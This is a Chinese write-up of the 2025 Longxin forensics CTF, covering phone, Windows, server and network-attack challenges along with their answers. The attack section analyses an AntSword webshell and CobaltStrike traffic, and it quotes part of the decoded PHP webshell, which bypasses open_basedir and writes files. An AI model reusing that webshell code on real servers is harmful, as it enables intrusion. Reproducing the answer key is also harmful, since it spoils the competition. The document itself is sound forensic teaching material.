文章总结: 本文详细解析了2025年龙信杯电子取证竞赛WriteUp,涵盖手机、Windows、服务器及攻击取证四大模块。内容包括提取手机镜像数据、破解VeraCrypt与BitLocker加密容器、分析小说爬虫及文本替换逻辑,以及通过流量分析还原WebShell上传与CobaltStrike远控木马攻击链。文章提供了具体的解题思路与关键Hash值,适合CTF选手学习综合取证技术。
综合评分: 90
文章分类: CTF,应急响应,恶意软件,逆向分析,爬虫
2025年龙信杯部分WP
赛查查
2026年1月7日 09:00
北京
以下文章来源于XYsec
,作者xysec
XYsec
.
分享网络安全知识
案情介绍
自 2023 年起,“终点小说” 公司(以下统称 “甲公司”)发现,张大运营的 “芯龙小说” 软件未获甲公司授权,利用网络爬虫技术非法抓取、传播甲公司旗下多部热门小说。涉案作品为甲公司独家授权并付费推广的优质内容,甲公司依法享有信息网络传播权,张大的行为已严重侵害甲公司及作者的著作权。2025 年 10 月 22 日,甲公司向张大发送律师函,要求其立即停止侵权、删除全部侵权内容。张大仅删除部分作品,随后仍持续抓取、传播其他小说,侵权行为具有连续性。面对持续损害甲公司及作者权益和经济损失,决定向公安机关报案,揭露并制止这一恶劣的犯罪行为。注:详细案情见容器。
| 项目 | 信息 |
| — | — |
| 下载链接 | https://pan.baidu.com/s/1DYpJyi35pfvY9CsIkHZ6Mg?pwd=hpu8 |
| 哈希值(MD5) | 5b3020c1a3c725febdc8a8bc84f42909 |
| 挂载/解压密码 | MjAyNS3oi4/lt57pvpnkv6E= |
当然,下面是根据不同类型的取证任务分门别类后的格式:
当然,下面是根据不同类型的取证任务分门别类后的格式:
手机取证
1. 分析手机镜像,请问机身的 Wi-Fi 信号源的物理地址是什么?【标准格式:01:02:03:04:05:06】
使用美亚取证大师来打开手机检材
或者使用ai分析
答案:00:db:60:6e:86:13
2. 分析手机镜像,请问张大的手机号码尾号是3807的手机号码是多少?【标准格式:15599005009】
使用navicat来打开数据库,之后分析
也没有,最后解压tar之后通过取证大师来打开
搜索后四位试试吧
答案:15680193807
3. 分析手机镜像,分析手机镜像,其通讯录中号码归属地最多的直辖市是哪里?【标准格式:天津市】
sqlite> SELECT
rc.display_name AS 姓名,
d.data1 AS 手机号码
FROM raw_contacts rc
JOIN data d ON (rc._id = d.raw_contact_id)
JOIN mimetypes m ON (d.mimetype_id = m._id)
WHERE m.mimetype = 'vnd.android.cursor.item/phone_v2'
AND d.data1 IS NOT NULL
AND d.data1 != '';
+------+----------------+
| 姓名 | 手机号码 |
+------+----------------+
| 张伟 | 1-380-013-8001 |
| 任亮 | 1-380-013-8031 |
| 康涛 | 1-380-013-8061 |
| 邵超 | 1-380-013-8091 |
| 李娜 | 1-390-013-9002 |
| 石欣 | 1-390-013-9032 |
| 毛颖 | 1-390-013-9062 |
| 孟琪 | 1-390-013-9092 |
| 王强 | 1-500-015-0003 |
| 龙伟 | 1-500-015-0033 |
| 邱亮 | 1-500-015-0063 |
| 尹涛 | 1-500-015-0093 |
| 刘敏 | 1-510-015-1004 |
| 陆娜 | 1-510-015-1034 |
| 秦欣 | 1-510-015-1064 |
| 姚颖 | 1-510-015-1094 |
| 陈杰 | 1-520-015-2005 |
| 郝强 | 1-520-015-2035 |
| 江伟 | 1-520-015-2065 |
| 谭亮 | 1-520-015-2095 |
| 杨芳 | 1-570-015-7006 |
| 孔敏 | 1-570-015-7036 |
| 史娜 | 1-570-015-7066 |
| 廖欣 | 1-570-015-7096 |
| 赵明 | 1-580-015-8007 |
| 白杰 | 1-580-015-8037 |
| 顾强 | 1-580-015-8067 |
| 邹伟 | 1-580-015-8097 |
| 黄丽 | 1-590-015-9008 |
| 崔芳 | 1-590-015-9038 |
| 侯敏 | 1-590-015-9068 |
| 熊娜 | 1-590-015-9098 |
| 周军 | 1-700-017-0009 |
| 康明 | 1-700-017-0039 |
| 邵杰 | 1-700-017-0069 |
| 金强 | 1-700-017-0099 |
| 吴丹 | 1-710-017-1010 |
| 毛丽 | 1-710-017-1040 |
| 孟芳 | 1-710-017-1070 |
| 陆敏 | 1-710-017-1100 |
| 徐超 | 1-720-017-2011 |
| 邱军 | 1-720-017-2041 |
| 尹明 | 1-720-017-2071 |
| 孙琪 | 1-730-017-3012 |
| 秦丹 | 1-730-017-3042 |
| 姚丽 | 1-730-017-3072 |
| 马涛 | 1-750-017-5013 |
| 江超 | 1-750-017-5043 |
| 谭军 | 1-750-017-5073 |
| 朱颖 | 1-760-017-6014 |
| 史琪 | 1-760-017-6044 |
| 廖丹 | 1-760-017-6074 |
| 胡亮 | 1-770-017-7015 |
| 顾涛 | 1-770-017-7045 |
| 邹超 | 1-770-017-7075 |
| 郭欣 | 1-780-017-8016 |
| 侯颖 | 1-780-017-8046 |
| 熊琪 | 1-780-017-8076 |
| 林伟 | 1-800-018-0017 |
| 邵亮 | 1-800-018-0047 |
| 金涛 | 1-800-018-0077 |
| 何娜 | 1-810-018-1018 |
| 孟欣 | 1-810-018-1048 |
| 陆颖 | 1-810-018-1078 |
| 高强 | 1-820-018-2019 |
| 尹伟 | 1-820-018-2049 |
| 郝亮 | 1-820-018-2079 |
| 罗敏 | 1-830-018-3020 |
| 姚娜 | 1-830-018-3050 |
| 孔欣 | 1-830-018-3080 |
| 郑杰 | 1-840-018-4021 |
| 谭强 | 1-840-018-4051 |
| 白伟 | 1-840-018-4081 |
| 梁芳 | 1-850-018-5022 |
| 廖敏 | 1-850-018-5052 |
| 崔娜 | 1-850-018-5082 |
| 谢明 | 1-860-018-6023 |
| 邹杰 | 1-860-018-6053 |
| 康强 | 1-860-018-6083 |
| 宋丽 | 1-870-018-7024 |
| 熊芳 | 1-870-018-7054 |
| 毛敏 | 1-870-018-7084 |
| 唐军 | 1-880-018-8025 |
| 金明 | 1-880-018-8055 |
| 邱杰 | 1-880-018-8085 |
| 韩丹 | 1-890-018-9026 |
| 陆丽 | 1-890-018-9056 |
| 秦芳 | 1-890-018-9086 |
| 曹超 | 1-910-019-1027 |
| 郝军 | 1-910-019-1057 |
| 江明 | 1-910-019-1087 |
| 许琪 | 1-920-019-2028 |
| 孔丹 | 1-920-019-2058 |
| 史丽 | 1-920-019-2088 |
| 邓涛 | 1-930-019-3029 |
| 白超 | 1-930-019-3059 |
| 顾军 | 1-930-019-3089 |
| 彭颖 | 1-950-019-5030 |
| 崔琪 | 1-950-019-5060 |
| 侯丹 | 1-950-019-5090 |
+------+----------------+
100 rows in set (0.21 sec)
sqlite>
答案:北京
4. 分析手机镜像,嫌疑人最近卸载过的的一款小说APP的名字是什么?【标准格式:com.tencent.mm】
答案:七猫免费小说
5. 分析手机镜像,嫌疑人使用“逐浪小说”应用最近一次搜索小说书名叫什么?【标准格式:斗破苍穹】
/data/com.guoshi.httpcanary/databases 中的数据库 app 中存放着抓包的历史记录, 其中:
表 CAPTURE_SESSION 存储着用户每次运行抓包捕获到的包的 UUID
表 HTTP_CAPTURE_RECORD 中保存着抓到的每个包的信息
答案:从斗罗开始无敌
6. 分析手机镜像,嫌疑人曾使用“QQ浏览器”使用过的搜索关键词有几个?【标准格式:1个】
调试AI
答案:4个
7. 分析手机镜像,嫌疑人曾经安装过的一款AI软件登录的用户名是什么?【标准格式:用户123456】
题目说的是嫌疑人曾安装,也就是之前安装的,可能已经被删除了,我们分析出来被删除的ai为com.larus.nova,继续在小黄鸟app中分析
8. 接上问,嫌疑人在此AI软件中最后一次提问的内容是什么?【按照实际值填写】
不行,没做出来
9. 分析手机镜像,嫌疑人花费多少元购买小说网站源码?【标准格式:2000】
答案:1300
10. 接上问,嫌疑人购买的小说网站源码的MD5值后六位是什么?【标准格式:12a34b】
导出来,然后计算一下
答案:d9ed2d
11. 分析手机镜像,嫌疑人的虚拟钱包地址是什么?【按照实际值填写】
答案:0x2a80985eea4283fdebddc5ec25c15d8cb5bcc09f
12. 分析手机镜像,嫌疑人购买视频网站源码花费了多少USDT?【标准格式:500】
答案:1000U
13. 分析手机镜像,其接受过一个远控木马程序(exe),请问其MD5值后六位是多少?【标准格式:12a34b】
结合聊天记录分析解压密码是123456,修改后缀计算md5
答案:e4a090
14. 接上题,该exe使用了哪种压缩方式?【标准格式:TAR】
答案:UPX
15. 接上题,该exe使用的压缩方式修改了几处特征?【标准格式:5】
答案:3
16. 接上题,该exe外联的端口号是多少?【标准格式:3306】
答案:4444
17. 接上题,该exe会搜索并加密几种类型的文件?【标准格式:5】
UPX脱壳之后才可以找到呢
答案:3
18. 接上题,该exe会释放一个新的exe,请问新的exe是用哪种编程语言编写的?【标准格式:php】
答案:python
19. 接上题,释放出的exe使用的邮件服务器的授权码是?【标准格式:scxcsaafas】
解包
答案:qycirqwzxogjdgbh
20. 分析手机镜像,嫌疑人发布的抖音作品是参考哪篇文学巨著生成的?【标准格式:三国演义】
21. 分析手机镜像,嫌疑人通过抖音发布了几个作品?【标准格式:6】
答案:5
22. 接上题,作品ID为 7564293625007115554 的观众浏览量为几次?【标准格式:5】
在vscode中搜索7564293625007115554然后丢给ai
23. 分析手机镜像,嫌疑人相册中的图片为其非法所得(不考虑重复),请分析其总收益为多少元?【标准格式:12345】
24.分析手机镜像,嫌疑人电脑的开机密码是多少?【标准格式:按照实际值填写】
查看这个应用的数据库
一个一个查看,没有好的工具,没有分析出来
答案:qwe321@@@
Windows取证
1. 分析Windows检材,PowerShell中多少个命令关联URL地址(不去重)?【标准格式:123】
答案:5
2. 分析Windows检材,VeraCrypt加密容器密码是什么?【标准格式:v10.1.1】
先解密以下BL
有一个恢复密钥
在工作中发现一个重要的文件,打开如下
最后通过恢复密钥中的隐藏的东西来解密不行,最后发现答案在剪切板中
答案:UJw4FspAsmNVRACWf4GQazvd
3. 分析Windows检材,加密容器中“密码本.txt”文件的SHA-256哈希值后6位是多少?【标准格式:全大写】
这个题目比赛的时候好像在龙信的工具中直接可以找到,然后看wp,加密容器原来是一个图片呀
挂载上看看
只有一个账单数据,我们去disk
答案:8E3FC7
4. 分析Windows检材,接上题,根据“密码本.txt”文件对账单数据压缩包进行解密,其密码是多少?【标准格式:根据实际值填写】
答案:VteGElLDQu
5. 分析Windows检材,接上题,分析其账单数据中哪个类别的金额最多?【标准格式:根据实际值填写】
答案:小说网站
6. 分析Windows检材,Bitlocker的恢复密钥前6位是什么?【标准格式:123456】
但是不对,wp说还是看图片=-=
3.png有问题,foremost分离,然后拖进随波逐流修改宽高即可
答案:541079
7. 分析Windows检材,嫌疑人使用的Windows激活工具的版本是什么?【标准格式:v10.1.1】
答案:v4.2.8
8. 分析Windows检材,嫌疑人电脑中安装的加密软件(非VeraCrypt)版本是多少?【标准格式:1.2.3】
这个说的应该就是
答案:1.17.1
9. 分析Windows检材,接上题,该加密软件恢复秘钥文件最后一个单词是什么?【标准格式:根据实际值填写】
accent
10. 分析Windows检材,mysql的数据库路径是什么?【标准格式:C:\MySQL5.7.26\data】
.
答案:D:\phpstudy_pro\Extensions\MySQL5.7.26\data
11. 分析Windows检材,数据库中novel_id为3的爬虫代码其爬取的网站域名地址是什么?【标准格式:https://www.baidu.com】
在数据库中没有信息,然后分析爬虫文件www.shuzhige.com
答案:www.shuzhige.com
12. 分析Windows检材,对比数据库与爬去小说数据,数据库中缺少的小说其共有多少章节?【标准格式:123】
答案:3
13. 分析Windows检材,嫌疑人爬取的小说共有多少汉字(包括繁体汉字,不计标点符号)?【标准格式:123】
差一个不知道为啥脚本如下
import os
import re
def count_chinese_characters(directory):
total_chars = 0
novel_counts = {}
# 遍历所有小说目录
for novel_dir in os.listdir(directory):
novel_path = os.path.join(directory, novel_dir)
if os.path.isdir(novel_path):
novel_chars = 0
# 遍历该小说的所有章节文件
for file in os.listdir(novel_path):
if file.endswith('.txt'):
file_path = os.path.join(novel_path, file)
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
# 匹配所有汉字(包括繁体),排除标点符号
chinese_chars = re.findall(r'[\u4e00-\u9fff]', content)
novel_chars += len(chinese_chars)
except Exception as e:
print(f"读取文件 {file_path} 时出错: {e}")
novel_counts[novel_dir] = novel_chars
total_chars += novel_chars
print(f"{novel_dir}: {novel_chars} 个汉字")
return total_chars, novel_counts
# 统计原本目录
base_dir = r"H:\爬取-原本"
total, details = count_chinese_characters(base_dir)
print(f"\n总汉字数: {total}")
答案是:2946354
14. 分析Windows检材,嫌疑人为躲避侵权,将爬取文本中多个不同汉字分别替换成另一些汉字(如“我”→“窝”),分析共有多少个不同汉字被替换(相同字仅计一次)?【标准格式:123】
import os
import re
from collections import defaultdict
def find_replaced_chars(original_dir, replaced_dir):
"""
对比两个目录中的文件,找出被替换的汉字
"""
replaced_chars = set()
# 遍历所有小说目录
for novel_dir in os.listdir(original_dir):
original_novel_path = os.path.join(original_dir, novel_dir)
replaced_novel_path = os.path.join(replaced_dir, novel_dir)
if not os.path.isdir(original_novel_path) or not os.path.isdir(replaced_novel_path):
continue
print(f"正在分析 {novel_dir}...")
# 获取两个目录中共同的文件
original_files = set(f for f in os.listdir(original_novel_path) if f.endswith('.txt'))
replaced_files = set(f for f in os.listdir(replaced_novel_path) if f.endswith('.txt'))
common_files = original_files & replaced_files
for filename in common_files:
original_file = os.path.join(original_novel_path, filename)
replaced_file = os.path.join(replaced_novel_path, filename)
try:
with open(original_file, 'r', encoding='utf-8') as f1, \
open(replaced_file, 'r', encoding='utf-8') as f2:
original_text = f1.read()
replaced_text = f2.read()
# 逐字符对比
min_len = min(len(original_text), len(replaced_text))
for i in range(min_len):
orig_char = original_text[i]
repl_char = replaced_text[i]
# 如果都是汉字且不相同,说明发生了替换
if (re.match(r'[\u4e00-\u9fff]', orig_char) and
re.match(r'[\u4e00-\u9fff]', repl_char) and
orig_char != repl_char):
replaced_chars.add(orig_char)
except Exception as e:
print(f"处理文件 {filename} 时出错: {e}")
return replaced_chars
# 执行分析
original_dir = r"H:\爬取-原本"
replaced_dir = r"H:\爬取-替换"
replaced_chars = find_replaced_chars(original_dir, replaced_dir)
print(f"\n=== 分析结果 ===")
print(f"被替换的不同汉字数量: {len(replaced_chars)}")
print(f"被替换的汉字列表: {''.join(sorted(replaced_chars))}")
# 保存结果
with open("replaced_chars_result.txt", "w", encoding="utf-8") as f:
f.write(f"被替换的不同汉字数量: {len(replaced_chars)}\n")
f.write(f"被替换的汉字列表: {''.join(sorted(replaced_chars))}\n")
答案:5
15. 分析Windows检材,对比爬取数据与替换数据,被替换汉字(不去重)数量最多的文件名称是什么?【标准格式:第0001章.txt】
import os
import re
import codecs
from collections import defaultdict
def extract_chinese_characters(text):
"""
从文本中提取所有汉字(包括繁体字),排除标点符号
"""
# 匹配所有汉字,包括简体字和繁体字
chinese_pattern = re.compile(r'[\u4e00-\u9fff\u3400-\u4dbf]+')
chinese_chars = chinese_pattern.findall(text)
return ''.join(chinese_chars)
def read_file_with_encodings(file_path):
"""
尝试用多种编码读取文件
"""
encodings = ['utf-8', 'gbk', 'gb2312', 'big5']
content = None
for encoding in encodings:
try:
with codecs.open(file_path, 'r', encoding=encoding) as file:
content = file.read()
break
except UnicodeDecodeError:
continue
return content
def analyze_replacements(original_folder, replacement_folder):
"""
分析两个文件夹中对应文件的汉字替换情况
"""
# 定义要处理的子文件夹列表
sub_folders = ['hongloumeng', 'liaozhaizhiyi', 'sanguoyanyi', 'shuihuzhuan', 'xiyouji']
# 存储总体替换统计
overall_replacements = defaultdict(int)
# 存储每个文件夹的替换统计
folder_replacements = {}
# 存储每个文件的替换数量
file_replacements = []
for folder in sub_folders:
print(f"\n{'=' * 60}")
print(f"分析文件夹: {folder}")
print(f"{'=' * 60}")
# 构建文件夹路径
original_path = os.path.join(original_folder, folder)
replacement_path = os.path.join(replacement_folder, folder)
# 检查文件夹是否存在
if not os.path.exists(original_path):
print(f"警告:原始文件夹 '{original_path}' 不存在,跳过处理")
continue
if not os.path.exists(replacement_path):
print(f"警告:替换文件夹 '{replacement_path}' 不存在,跳过处理")
continue
# 存储当前文件夹的替换统计
folder_stats = defaultdict(int)
# 获取两个文件夹中的txt文件列表
original_files = {f for f in os.listdir(original_path) if f.endswith('.txt')}
replacement_files = {f for f in os.listdir(replacement_path) if f.endswith('.txt')}
# 找出共同的文件
common_files = original_files & replacement_files
print(f"找到 {len(common_files)} 个共同文件")
# 处理每个共同文件
for filename in common_files:
original_file_path = os.path.join(original_path, filename)
replacement_file_path = os.path.join(replacement_path, filename)
# 读取文件内容
original_content = read_file_with_encodings(original_file_path)
replacement_content = read_file_with_encodings(replacement_file_path)
if original_content is None:
print(f" 无法读取原始文件: {original_file_path}")
continue
if replacement_content is None:
print(f" 无法读取替换文件: {replacement_file_path}")
continue
# 提取汉字
original_chars = extract_chinese_characters(original_content)
replacement_chars = extract_chinese_characters(replacement_content)
# 比较两个版本的汉字
min_len = min(len(original_chars), len(replacement_chars))
file_replacement_count = 0
for i in range(min_len):
orig_char = original_chars[i]
repl_char = replacement_chars[i]
# 如果字符不同,记录替换
if orig_char != repl_char:
replacement_pair = f"{orig_char}→{repl_char}"
folder_stats[replacement_pair] += 1
overall_replacements[replacement_pair] += 1
file_replacement_count += 1
# 记录当前文件的替换数量
file_replacements.append({
'folder': folder,
'filename': filename,
'replacement_count': file_replacement_count
})
print(f" 文件 {filename}: {file_replacement_count} 个汉字被替换")
# 记录当前文件夹的替换统计
folder_replacements[folder] = folder_stats
# 输出当前文件夹的替换统计
print(f"\n{folder} 文件夹替换统计:")
if folder_stats:
# 按替换次数排序
sorted_replacements = sorted(folder_stats.items(), key=lambda x: x[1], reverse=True)
for replacement, count in sorted_replacements[:10]: # 显示前10个最常见的替换
print(f" {replacement}: {count}次")
print(f" 总计 {len(folder_stats)} 种不同的汉字替换")
else:
print(" 未发现汉字替换")
# 找出替换数量最多的文件
if file_replacements:
max_file = max(file_replacements, key=lambda x: x['replacement_count'])
print(f"\n{'=' * 60}")
print("被替换汉字数量最多的文件:")
print(f"{'=' * 60}")
print(f"文件名称: {max_file['filename']}")
print(f"所在文件夹: {max_file['folder']}")
print(f"被替换汉字数量: {max_file['replacement_count']}")
# 输出总体替换统计
print(f"\n{'=' * 60}")
print("总体替换统计:")
print(f"{'=' * 60}")
if overall_replacements:
# 按替换次数排序
sorted_overall = sorted(overall_replacements.items(), key=lambda x: x[1], reverse=True)
for replacement, count in sorted_overall[:20]: # 显示前20个最常见的替换
print(f" {replacement}: {count}次")
print(f"\n总计 {len(overall_replacements)} 种不同的汉字替换")
# 保存详细替换统计到文件
with open("replacement_analysis.txt", "w", encoding="utf-8") as f:
f.write("汉字替换分析报告\n")
f.write("=" * 50 + "\n\n")
# 被替换汉字数量最多的文件
if file_replacements:
max_file = max(file_replacements, key=lambda x: x['replacement_count'])
f.write(f"被替换汉字数量最多的文件:\n")
f.write(f" 文件名称: {max_file['filename']}\n")
f.write(f" 所在文件夹: {max_file['folder']}\n")
f.write(f" 被替换汉字数量: {max_file['replacement_count']}\n\n")
# 总体统计
f.write("总体替换统计:\n")
for replacement, count in sorted_overall:
f.write(f" {replacement}: {count}次\n")
f.write(f"\n总计 {len(overall_replacements)} 种不同的汉字替换\n\n")
# 各文件夹详细统计
for folder in sub_folders:
if folder in folder_replacements and folder_replacements[folder]:
f.write(f"\n{folder} 文件夹替换统计:\n")
sorted_folder = sorted(folder_replacements[folder].items(), key=lambda x: x[1], reverse=True)
for replacement, count in sorted_folder:
f.write(f" {replacement}: {count}次\n")
f.write(f" 总计 {len(folder_replacements[folder])} 种不同的汉字替换\n")
print(f"\n详细替换统计已保存到: replacement_analysis.txt")
else:
print("未发现任何汉字替换")
def main():
"""
主函数:分析两个文件夹中的汉字替换情况
"""
original_folder = "爬取-原本"
replacement_folder = "爬取-替换"
# 检查文件夹是否存在
if not os.path.exists(original_folder):
print(f"错误:原始文件夹 '{original_folder}' 不存在")
return
if not os.path.exists(replacement_folder):
print(f"错误:替换文件夹 '{replacement_folder}' 不存在")
return
# 分析替换情况
analyze_replacements(original_folder, replacement_folder)
if __name__ == "__main__":
main()
答案:第0062章.txt
16. 分析Windows检材,对比爬取数据与替换数据,是否存在完全没有汉字被替换的文件?若存在,请给出文件的数量;若不存在,请直接填写“否”。【标准格式:123 或者 否】
答案:26
17. 分析Windows检材,嫌疑人使用的默认浏览器名称是什么?【标准格式:Microsoft Edge】
随便搞一个html,然后打开就知道啦
答案:Ablaze Floorp
18. 分析Windows检材,嫌疑人使用的AI网站的端口是多少?【标准格式:123】
答案:18480
19. 分析Windows检材,嫌疑人使用的AI网站登录密码是多少?【标准格式:根据实际值填写】
答案:g123123
20. 分析Windows检材,嫌疑人利用在线AI模仿创作的小说,其第五章标题是什么?【标准格式:根据实际值填写】
之前分析的时候wps中就有个东西
答案:长安的回响
21. 分析Windows检材,终点小说初步要求嫌疑人赔偿的经济损失金额为多少万元人民币?【标准格式:123】
分析之前的1.eml答案:10
22. 分析Windows检材,根据律师函要求,嫌疑人最晚须于几月几日(含当日)前向终点小说提交经审核同意的书面致歉函?【标准格式:10月12日】
答案:10月29日
23. 分析Windows检材,嫌疑人NAS映射的盘符是什么?【标准格式:C】
答案:Z
24. 分析Windows检材,嫌疑人当时正在阅读的小说叫什么名字?【标准格式:三国演义】
不是很懂为什么这么做,软件安装包在C:\Users\Administrator\AppData\Local\neatreader-updater目录下答案:小年小月
25. 分析Windows检材,接上题,嫌疑人当前看到该小说的第几章?【标准格式:第一章】
打开即可
答案:第五十一章
服务器取证
1. 请分析Exsi虚拟化平台是什么时候安装的?【标准格式:20250102-101258,年月日-时分秒,北京时间】
取证大师没有分析出来什么东西看仿真之后吧
密码说是在手机检材中可以找到,但是我没有找到=-=
答案:20251020-062808
2. 请分析Exsi虚拟化平台虚拟机使用的ISO镜像大小是多少?【标准格式:2.58,单位:Gigabyte】
答案:4.39(4.39是可以提交的=-=)
3. 请分析nas服务器samba应用完整版本标识为?【标准格式:1.18.26-10.el6_5】
如果在启动虚拟机报错不支持虚拟化使用这个命令,在宿主机上
bcdedit /set hypervisorlaunchtype off
答案:4.10.16-25.el7_9
4. 请分析nas服务器samba应用共享目录允许访问的用户名为?【标准格式:gys666】
cat /etc/samba/smb.conf
答案: shadowai
5. 嫌疑人在nas服务器中删除了面板日志,请分析其删除日志后第一次访问服务器的目录物理路径是?【标准格式:/var/soft/wegame】
启动bt面板和修改密码
ai分析的
答案:/www/wwwlogs
6. 某用户在“2025-10-21 18:40:53(北京时间)”向本地AI模型提问,请问其一共提问了几次?【标准格式:5】
或者下载数据库文件分析
使用navicat打开
答案:2
7. 接上题,第二轮交互总计Token Consumption(令牌消耗)多少个?【标准格式:10】
8. 请分析AI模型在创建时注册的管理员账号的头像显示的数字是?【标准格式:15】
在数据库中的user中有图片,提取出来
答案:2024
9. 请分析卡密网站会隔一段时间会自动删除后台管理员登录日志,请问日志最多保存多少小时?【标准格式:10,单位:小时,四舍五入】
10. 请分析卡密网站后台管理员登录成功后多少小时内无需重新登录?【标准格式:8,单位:小时】
11. 请分析卡密网站微信接口配置的Appsecret是?【标准格式:字符串,全小写】
12. 请分析卡密网站管理员注册了一个商户账号,请问商户编号是?【标准格式:10000】
13. 接上题,请分析该商户掌灵付微信扫码设置的费率是多少?【标准格式:1%】
14. 接上题,不考虑平台提现、网关通道费用的情况下,售卖的卡密共计净利多少元?【标准格式:1888.88,单位:人民币】
15. 嫌疑人将卡密网站的数据定时备份至远程服务器,请问远程服务器IP为?【标准格式:8.8.8.8】
16. 嫌疑人供述web虚拟机储存了一本名为“活在明朝”的小说,已经删除忘记怎么恢复了,请找到该小说并分析一共有多少章?【标准格式:100】
17. 接上题,小说是什么时候删除的?【标准格式:20250102-101258,年月日-时分秒,北京时间】
18. 有一个外部程序“芯龙短片”跟web服务器媒体系统进行通信,请分析其API通信密钥为?【标准格式:字符串,全小写】
19. 接上题,媒体系统管理员最后登录的时间为?【标准格式:20250102-101258,年月日-时分秒,北京时间】
20. 请分析小说网站“升迁之路”小说第47章叫什么名字?【标准格式:你好呀】
21. 请分析小说网站小说后台采集来源地址是?【标准格式:baidu.com】
22. 请分析小说网站某用户评论“好东西大家顶”是哪篇小说?【标准格式:苏大强】
23. 请分析小说网站对接的第三方支付接口的商户密钥是?【标准格式:完整字符串,区分大小写】
24. 嫌疑人曾在web服务器中特定位置执行采集正版(收费)小说的脚本,请分析采集的正版小说网址是?【标准格式:www.baidu.com】
25. 嫌疑人曾在web服务器中备份整套面板数据,请问面板备份数据包SHA256值为?【标准格式:全小写】
攻击取证
1. 攻击机的ip是多少?【标准格式:111.111.111.111】
167是服务器
179也是服务器
答案:192.168.111.1
2. 被攻击网站服务器开放端口数量是多少?【标准格式:1】
答案:3
3. 攻击者对参数fuzzing成功数量是多少?【标准格式:1】
然后去搜一下有没有成功,如果成功会有root字符,以及..等,这里搜一下root:
答案:0
4. 攻击者在网站服务器上传了一个恶意文件,进行了创建文件操作,新文件名是什么?【标准格式:a.txt】
追踪upload.php流
答案:views.php
5. 攻击者对网站内容进行了修改,添加恶意链接是什么?【标准格式:http://www.baidu.com/index.php】
接着上一个题目去分析views.php的流量
是蚁剑流量,去解密
答案:http://jsf34.com/transfer.html
6. 分发恶意文件域名是什么?【标准格式:baidu.com】
接着上一个流量往下分析,该规则为http或者在上一个流量中往后追踪
访问了一个下载html,然后是从http://jsf34.com/跳转过来的,然后下载了setup文件
答案:sxh67.com
7. 被控(访问了被修改后的网站)主机ip是什么?【标准格式:111.111.111.111】
如下192.168.111.167访问192.168.111.164下载了木马
答案:192.168.111.167
8. 攻击者的license-id是什么?【标准格式:请填写实际值】
接着上一个题目往下分析,发现192.168.111.167被cs上线了我们去分析license-id的时候就去下载它的第一个组件吧,我也不知道这个叫啥了
这个题中为jRj7
下载解密心跳包的脚本吧
https://github.com/minhangxiaohui/CSthing/blob/master/1768_v0_0_8/1768.py
答案:987654321
9. 攻击者的秘密是什么?【标准格式:六位小写字母_六位数字】
我们去使用如下脚本来解密.cobaltstrike.beacon_keys获得公钥私钥,我们先要找到.cobaltstrike.beacon_key
玩了半天网上资料发现可以通过publickey来得到公钥和私钥呢
from Crypto.PublicKey import RSA
import binascii
# 将你的16进制字符串放在这里
# 将十六进制字符串转换为字节
#hex_key="30819f300d06092a864886f70d010101050003818d0030818902818100822c47dee089249f491520bba80b9c9111af81653988a7d01bb80fd2b6a3b3e5038a4d90eefde91162a9a841375054a2bf4eac251f003909408040add20ed0d9f7eee58b5e746100032f1546d80c25d13e1513a9fe414831381fd4a116fe1ea1ab8d0e899424e1a386421c9539cf05bb16eb48584cf7a3bf5f4827ff2a5dbfe50203010001"
hex_key="30819f300d06092a864886f70d010101050003818d0030818902818100822c47dee089249f491520bba80b9c9111af81653988a7d01bb80fd2b6a3b3e5038a4d90eefde91162a9a841375054a2bf4eac251f003909408040add20ed0d9f7eee58b5e746100032f1546d80c25d13e1513a9fe414831381fd4a116fe1ea1ab8d0e899424e1a386421c9539cf05bb16eb48584cf7a3bf5f4827ff2a5dbfe5020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
key_bytes = binascii.unhexlify(hex_key)
# 导入RSA公钥
rsa_key = RSA.import_key(key_bytes)
# 提取模数(n)和指数(e)
n = rsa_key.n
e = rsa_key.e
# 打印模数和指数
print(f"Modulus (n): {n}")
print(f"Exponent (e): {e}")
# 将RSA公钥导出为PEM格式
pem_key = rsa_key.publickey().export_key(format='PEM')
# 打印PEM格式公钥
print(pem_key.decode('utf-8'))
要去除多余的0,然后分解Modulus (n): 91410569334051664385078016309279676149256544636560675910240636389189507241235797273045245444335234923875271910120700513853071990375906904738555428047959446797668985177060023629812915153971273508219259687591054347559422019009718394913807549464973336191966889396448448044199174661147560159707949708760334581733
参考文章
https://xz.aliyun.com/news/18517
CobaltStrike流量解密
最后分解p和q,最后跑了一晚上也不行
然后看wp发现是有一个十六进制的,十六进制解码之后就是.cobaltstrike.beacon_keys了,这个.cobaltstrike.beacon_keys的识别学的不是很好,而且很多时候都不仔细
<?php
// 1. 安全配置绕过
@ini_set("display_errors", "0"); // 禁用错误显示
@set_time_limit(0); // 取消脚本执行时间限制
$opdir = @ini_get("open_basedir");
// 2. 尝试绕过 open_basedir 限制 (目录穿越/临时目录技巧)
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
// 解码分隔符:";|:/"
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach ($oparr as $item) {
if (!@is_writable($item)) {
continue;
}
$tmdir = $item . "/.ac6b5cbf9c0d"; // 构造临时目录名
@mkdir($tmdir); // 创建临时目录
if (!@file_exists($tmdir)) {
continue;
}
$tmdir = realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", ".."); // 设置 open_basedir 为父目录
$cntarr = @preg_split("/\\\\|\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir(".."); // 目录穿越,回到根目录
}
@ini_set("open_basedir", "/"); // 最终尝试将 open_basedir 设置为根目录
@rmdir($tmdir); // 清理临时目录
break;
}
}
// ;; (额外的分号)
// 3. 通信与输出封装函数
function asenc($out) {
return $out;
}
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
// 输出起始标记
echo "d90db" . "8ec1c3";
echo @asenc($output);
// 输出结束标记
echo "861a9" . "d0799c";
}
ob_start(); // 开启输出缓冲
// 4. 核心文件写入逻辑
try {
// 解码目标文件路径(移除前两个字符后进行 Base64 解码)
$f = base64_decode(substr($_POST["g6df68d1db7c5b"], 2));
$c = $_POST["e5a7ffc1593c87"];
// 清理数据
$c = str_replace("\r", "", $c);
$c = str_replace("\n", "", $c);
// 将十六进制数据转换为二进制数据
$buf = "";
for ($i = 0; $i < strlen($c); $i += 2) {
$buf .= urldecode("%" . substr($c, $i, 2));
}
